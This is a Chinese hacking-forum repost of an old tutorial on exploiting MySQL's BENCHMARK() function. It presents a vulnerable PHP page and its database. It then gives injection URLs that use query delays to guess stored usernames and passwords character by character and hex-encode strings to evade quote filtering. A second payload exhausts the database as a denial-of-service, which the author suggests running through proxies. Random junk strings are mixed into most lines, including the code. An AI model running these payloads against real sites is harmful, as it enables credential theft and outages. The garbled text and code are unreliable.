找回密码
 立即注册
查看: 2374|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用 : e2 A  B  w# G/ W
本文作者:SuperHei( V" R3 }% V; K3 E: ?; Q9 l
文章性质:原创
0 [3 n/ y7 s6 e) X发布日期:2005-01-02
+ e5 X2 r9 K2 x* p. i; k% G) e7 \, \) h完成日期:2004-07-09
! T% b4 k9 N3 f. {; X; r# L第一部' e4 t2 `  x( j" b% r, \

4 H3 d4 t$ b" @4 d1 P5 F2 m利用时间推延进行注射---BENCHMARK函数在注射中的利用
! C- |+ `5 v/ f! {; b
( d6 z$ W" Z. E! l一.前言/思路3 p4 A6 j/ \: T6 t. B9 q

& f9 a1 ]: U$ T$ X, T  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
: u7 J: u! A4 e. P& s# i
) i) O7 a) W  z  }& b  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
% O, Y9 p& V' V% g( k; g$ k0 O' Q) e: z/ e) s
二.关于BENCHMARK函数; Q/ S1 h* s+ F) F! X. s# t0 z
/ y# Y( f9 q# S8 Z' V. _0 X
  在MySQL参考手册里可以看到如下描叙:
: l$ p- H8 e& K- E2 o4 v( o2 \" L1 L: U/ _& t9 m2 e* ^% a

8 i: t8 H' L; W+ I7 q2 U9 m--------------------------------------------------------------------------------& F7 X  _3 h8 A/ V0 A& a
; a9 b$ ]  d& q, S: K
BENCHMARK(count,expr)
: h7 W( X8 _. f! A5 KBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 : ?/ a; y2 x# c4 k1 O" [2 Z
mysql> select BENCHMARK(1000000,encode("hello","goodbye")); 0 [* W9 @) x* ~( N/ u  C+ ?2 W8 l
+----------------------------------------------+
* t2 G" U9 ^& M7 A8 c% A7 M8 Q| BENCHMARK(1000000,encode("hello","goodbye")) | & P- |7 i# e/ X2 P2 k0 _# e
+----------------------------------------------+
1 f! @9 E* f  N  r5 J0 r| 0 |
/ t1 q8 t9 C4 f/ J3 L+----------------------------------------------+ ! w, L  @$ ?/ h: V
1 row in set (4.74 sec)
' h, [; `& ^  J0 j3 V1 I. J9 L1 c  M5 O
- T* I. B4 F- Y* f' j/ W报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
4 n& }% M. L9 l1 {  N2 T
+ k+ o+ t& g- u% j% h- o& I% D. O( |( J/ O
--------------------------------------------------------------------------------  I, s! z8 R( _6 y: F
; N5 o& D& {" A4 Z, \9 h
  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
) Z2 I1 W/ b9 L; R, v, _& h& j; H4 D( X$ N* n
mysql> select md5( 'test' ); 9 g4 k: ]. o2 i2 I/ j
+----------------------------------+ 8 o& I! f5 [  e0 c
| md5( 'test' ) | 5 z. u7 r5 i# |! P& w, C& x* f
+----------------------------------+
! R# i' q- k) O* y8 C| 098f6bcd4621d373cade4e832627b4f6 | 6 X2 g; }! q$ N$ [/ D
+----------------------------------+ + `% r0 C; `1 x# i
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec 9 j7 k) y- r) Y. L  Y' n8 I9 T8 F
1 j6 i7 ^. y% O$ c" O
mysql> select benchmark( 500000, md5( 'test' ) );
0 x5 z: v+ o- d+------------------------------------+ ) ]- i) F! N5 K# k  X5 F
| benchmark( 500000, md5( 'test' ) ) | " z' h1 t5 r) L! U- h
+------------------------------------+
0 i; l+ _' x; \" f/ Y| 0 |
) j5 {6 ~. Q/ \9 E5 D* C* S+------------------------------------+ : b5 c2 l, l8 c4 f( k
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec4 [* E3 ]( r6 O4 O: g2 d
* v( O3 `! M' I0 J  Z

# F! S9 M( o! O  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 * B( w7 v0 ~! o9 w( }; E

5 l) }: Y) Z6 ^6 A. @, X" ^三.具体例子
: e4 q  C$ k+ k$ G% _9 s0 H! S
$ z/ d+ V- V3 l% t- E; E  d6 E  首先我们看个简单的php代码:
  @* }, ~; I1 x  Q: s+ z5 J: d- U6 G% d% D* ?
< ?php
$ ?/ ?  L; M% {+ h' Q6 B$servername = "localhost";
3 H& i3 Q/ Q2 i" n+ _6 L3 ~$ v% \$ M$dbusername = "root";
. L" o* {2 q. t' v0 U$dbpassword = "";
9 H6 X3 X- h( E0 L% m, ^$dbname = "injection"; 4 h+ V5 ], I3 r2 K$ A

" g0 |5 L2 X- w+ v8 A7 \. amysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); ' U$ S9 X! Q# f* k- [$ q

6 @' Z' A/ k( h! Z2 I' N$sql = "SELECT * FROM article WHERE articleid=$id"; + N% I5 B  a" d  d
$result = mysql_db_query($dbname,$sql); ) I; n! X2 j/ e- A6 @- W' ?3 K
$row = mysql_fetch_array($result); % s& u1 L; q. R8 x) U
, Z9 r+ `2 `; @$ M2 p) [; B3 w1 @! q
if (!$row) # U; f! y- e( {7 [* f* m
{ % Q0 S% ^/ G* i( f8 }( s, V, v3 A
exit; 9 X; M0 O+ v% g) N5 a6 l  j9 P* x7 h0 S
} 5 _; N" s1 v& P0 [' @7 C
?>8 {* w  K$ ?/ H

5 S( C5 X, f4 l+ K! F5 a! l4 A% h
  数据库injection结构和内容如下:
% h( R- P3 e7 Z. y6 {
$ Y! X* e$ X5 a: \9 N, C4 s) V  [# 数据库 : `injection`
5 J& {# ]0 U( ~' X1 @#
6 T6 R* Z: e2 |3 Q( U( |% x( R* L5 w+ u3 U5 W
# -------------------------------------------------------- ' ]4 f6 @5 C6 P1 s- j
* X2 e4 L# h# `
# " X- T5 c2 m5 p7 n* o. v+ f( ~
# 表的结构 `article`
& I( f$ ]) \/ i; A- f9 }2 t; ?# 6 D; q+ X/ O9 R4 E  s% q. l
" U5 f5 t% u- c* X/ z" N! X3 u
CREATE TABLE `article` ( ; m5 u8 a3 G; c1 z4 i
`articleid` int(11) NOT NULL auto_increment, & H, U, r- }! r. [: `0 y
`title` varchar(100) NOT NULL default '', ' G! |$ e6 z* m5 b: s" U$ j+ \
`content` text NOT NULL,
: v; V; L/ E0 O- |9 Q4 GPRIMARY KEY (`articleid`) ; ?* K& u9 {( r! G  Z$ d
) TYPE=MyISAM AUTO_INCREMENT=3 ;
3 f2 s/ o$ d0 C8 X( ^* D1 j7 z* a& N9 D! o% n" H1 ]
# ; |* V- a& b2 e: O, d- [- A
# 导出表中的数据 `article`
$ ?4 L* J, D4 W$ M- W8 r# : b4 f" Y  y- A
( J! s, _9 z6 Q
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
6 {0 [2 e3 L/ S. [$ ^: AINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
! @' K; J' F3 {  |% v. u- _2 p0 N$ T* `3 J& S
# -------------------------------------------------------- 8 {) F0 ]4 K* z$ t5 _( s

% n2 `' K5 ~) {7 F#
9 g3 K3 h" Q5 K: I# 表的结构 `user`
5 y/ H3 }- W: |: P- o+ ]/ T#
& q. Q$ N# }3 t! ]) S* t/ O9 H+ K/ a8 E8 u* P$ @8 O/ u
CREATE TABLE `user` ( " I% p5 u& [4 X6 S" Q& S( T/ v
`userid` int(11) NOT NULL auto_increment,
) @2 J3 P' z7 H; }9 T6 o' ?( T  S`username` varchar(20) NOT NULL default '',   v' v: d4 T6 K+ v6 m
`password` varchar(20) NOT NULL default '', 1 Y( h! `$ {+ \+ k" T7 a, ]# ~1 f
PRIMARY KEY (`userid`)
9 G: E# D- r$ u8 c1 J) TYPE=MyISAM AUTO_INCREMENT=3 ; 3 X3 E. z  i& ?' p9 l" J

: ?1 F# z$ G) U6 C* Y) z# ) M8 g6 I. V5 U2 [2 [  A$ T( Y
# 导出表中的数据 `user`
5 _  W1 w+ ?) U% t! W; g: L! O  B#
" Q, W4 f, ]  z5 T; A, C& \, A
INSERT INTO `user` VALUES (1, 'angel', 'mypass'); ( B) |+ r: e" N  g3 Q+ x- p
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
! h: u: p, |( L& W 9 G5 Q: e" V9 j# R/ j+ x2 i. X

4 }5 I# H* T& q4 H/ t) p: i9 {+ {  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
+ A# U$ g* i: u( G$ U5 ?( x" S3 X3 I$ B7 J" o9 l" Z* c
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
6 _' |* W/ `4 ~ ! Q7 V. z2 D( c  f3 Z

5 v" i6 r9 B6 e% X9 Y  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:& K$ H( F' Y9 [
2 T& K7 g; B8 D5 h; m/ A
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
( K5 q6 s2 c8 u2 O1 ]5 o0 W+ Y
; U$ ~9 C+ l7 k
3 V. W- n9 f" H! a' ~7 ^! Q: r  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
" J5 D  f* @: t( J% c7 e& ]& T" C6 ^( Y
  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 1 x, o: K& \7 |( `: A6 x( z

- P# h/ y% i/ r& e3 o+ V: e) e第二部0 W3 {% p0 h3 Q, p

! @, r+ J" ]9 S* [+ ?! b" X利用BENCHMARK函数进行ddos攻击 : v& q! j, u# d& D- q% ~

! S8 K% D; `( t& y. Q! c: {  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
- b+ Q6 d' s9 ~8 C- k. o& j  ~
3 A  f+ n& r+ d5 A$ s6 `http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))7 R- x. F0 @4 q3 n* O
) A! o4 [* J6 j
. b; r4 \' O5 `
小结
% J# G7 V" S& Z# S4 s; X+ h* \7 M
  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。% F! q' M' F: S/ ~9 \) v

& p4 k4 X7 b& g2 S, N3 L7 J2 Q  
" Z# ]& q5 \1 I. U; Y5 _( F0 h
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表